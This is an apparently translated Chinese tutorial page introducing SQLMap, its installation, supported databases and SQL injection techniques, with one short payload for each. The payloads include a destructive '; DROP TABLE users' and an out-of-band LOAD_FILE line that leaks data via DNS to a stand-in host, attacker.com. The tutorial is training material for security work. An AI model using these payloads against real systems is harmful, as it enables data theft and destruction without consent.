Skip to content

1、SQLmap 基础

概述

SQLMap是一种用 Python 编写的免费开源渗透测试工具,可自动执行检测和利用 SQL 注入 (SQLi) 漏洞的过程。SQLMap 从 2006 年开始不断发展,至今仍在维护。

$ python sqlmap.py -u 'http://inlanefreight.htb/page.php?id=5'

       ___
       __H__
 ___ ___[']_____ ___ ___  {1.3.10.41#dev}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org


[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 12:55:56

[12:55:56] [INFO] testing connection to the target URL
[12:55:57] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[12:55:58] [INFO] testing if the target URL content is stable
[12:55:58] [INFO] target URL content is stable
[12:55:58] [INFO] testing if GET parameter 'id' is dynamic
[12:55:58] [INFO] confirming that GET parameter 'id' is dynamic
[12:55:59] [INFO] GET parameter 'id' is dynamic
[12:55:59] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[12:56:00] [INFO] testing for SQL injection on GET parameter 'id'
<...SNIP...>

SQLMap 带有强大的检测引擎、众多功能以及广泛的选项和开关,用于微调它的许多方面,例如:

目标连接 注入检测 指纹识别
枚举 优化(Optimization) 使用 tamper 脚本绕过检测
数据库内容检索 文件系统访问 执行操作系统命令

SQLMap安装

SQLMap 预装在您的 Pwnbox 和大多数以安全为中心的操作系统上。在许多 Linux 发行版的库中也可以找到 SQLMap。例如,在 Debian 上,它可以安装:

$ sudo apt install sqlmap

如果我们想手动安装,可以在Linux终端或者Windows命令行中使用如下命令:

$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

之后,SQLMap 可以运行:

$ python sqlmap.py

支持的数据库

在任何其他 SQL 开发工具中,SQLMap 对 DBMS 的支持最大。SQLMap 完全支持以下 DBMS:

MySQL Oracle PostgreSQL Microsoft SQL Server
SQLite IBM DB2 Microsoft Access Firebird
Sybase SAP MaxDB Informix MariaDB
HSQLDB CockroachDB TiDB MemSQL
H2 MonetDB Apache Derby Amazon Redshift
Vertice, Mckoi Presto Altibase MimerSQL
CrateDB Greenplum Drizzle Apache Ignite
Cubrid InterSystems Cache IRIS eXtremeDB
FrontBase

SQLMap 团队还致力于定期添加和支持新的 DBMS。

支持的 SQL 注入类型

SQLMap 是唯一可以正确检测和利用所有已知 SQLi 类型的渗透测试工具。我们通过命令查看SQLMap支持的SQL注入类型sqlmap -hh

$ sqlmap -hh
...SNIP...
  Techniques:
    --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")

技术特征BEUSTQ指的是:

  • B: 基于布尔的盲注
  • E: 基于错误
  • U: 基于联合查询
  • S: 堆叠查询
  • T: 基于时间的盲注
  • Q:内联查询

基于布尔的 SQL 盲注

例子Boolean-based blind SQL Injection

AND 1=1

SQLMap 通过区分 TRUEFALSE 查询结果来利用基于布尔的盲注漏洞,有效地为每个请求检索 1 个字节的信息。区分基于比较服务器响应以确定 SQL 查询返回的是 TRUE 还是 FALSE。这包括原始响应内容、HTTP 代码、页面标题、过滤文本和其他因素的模糊比较。

  • TRUE结果通常基于与常规服务器响应没有差异或差异很小的响应。

  • FALSE结果基于与常规服务器响应有实质性差异的响应。

  • Boolean-based blind SQL Injection被认为是 Web 应用程序中最常见的 SQLi 类型。

基于错误的 SQL 注入

例子Error-based SQL Injection

AND GTID_SUBSET(@@version,0)

如果database management systemDBMS) 错误作为任何数据库相关问题的服务器响应的一部分返回,则它们有可能用于携带请求查询的结果。在这种情况下,使用当前 DBMS 的专用有效负载,针对导致已知不当行为的功能。SQLMap 具有此类相关有效负载的最全面列表,SQLMap 拥有此类相关有效负载的最全面列表,并涵盖以下 DBMS 的Error-based SQL Injection

MySQL PostgreSQL Oracle
Microsoft SQL Server Sybase Vertica
IBM DB2 Firebird MonetDB

基于错误的 SQLi 被认为比所有其他类型都快,但基于 UNION 查询的 SQLi 除外,因为它可以通过每个请求检索有限数量(例如,200 字节)的称为“块”的数据。

UNION 基于查询

例子UNION query-based SQL Injection

UNION ALL SELECT 1,@@version,3

通过使用 UNION,通常可以使用注入语句的结果扩展原始(vulnerable)查询。这样,如果原始查询结果作为响应的一部分呈现,攻击者可以从页面响应本身中的注入语句中获得额外的结果。这种类型的 SQL 注入被认为是最快的,因为在理想情况下,攻击者可以通过单个请求提取整个感兴趣的数据库表的内容。

堆叠查询

例子Stacked Queries

; DROP TABLE users

堆叠 SQL 查询,也称为 "piggy-backing",是在易受攻击的 SQL 语句之后注入额外 SQL 语句的一种形式。如果有运行非查询语句的需求(例如 INSERTUPDATE 或 DELETE),堆叠必须得到易受攻击的平台的支持(例如,Microsoft SQL Server 默认 PostgreSQL 支持)。SQLMap 可以利用此类漏洞来运行在高级功能(例如,执行 OS 命令)中执行的非查询语句,以及类似于基于时间盲注的数据检索。

基于时间的 SQL 盲注

例子Time-based blind SQL Injection

AND 1=IF(2>1,SLEEP(5),0)

时间盲注的原理类似布尔盲注,但这里以响应时间作为区分 TRUEFALSE

  • TRUE与常规服务器响应相比,响应通常以响应时间的显着差异为特征

  • FALSE响应应该导致响应时间与常规响应时间无法区分

基于时间盲注的查询速度要慢的多,建议在其他注入方法行不通的时候使用。

内联查询

例子Inline Queries

SELECT (SELECT @@version) from

这种类型的注入在原始查询中嵌入了一个查询。这种 SQL 注入并不常见,因为它需要以某种方式编写配置文件导致易受攻击的 Web 应用程序。不过,SQLMap 也支持这种 SQLi。

带外 SQL 注入

例子Out-of-band SQL Injection

LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\README.txt'))

这被认为是最先进的 SQLi 类型之一,用于所有其他类型不被易受攻击的 Web 应用程序支持或速度太慢的情况(例如,基于时间的盲 SQLi)。SQLMap 通过“DNS 渗漏”支持带外 SQLi,其中通过 DNS 流量检索请求的查询。

通过在受控域(例如 .attacker.com)的 DNS 服务器上运行 SQLMap,SQLMap 可以通过强制服务器请求不存在的子域(例如 foo.attacker.com)来执行攻击,其中 foo 是我们想要接收的 SQL 响应。然后 SQLMap 可以收集这些错误的 DNS 请求并收集 foo 部分,以形成整个 SQL 响应。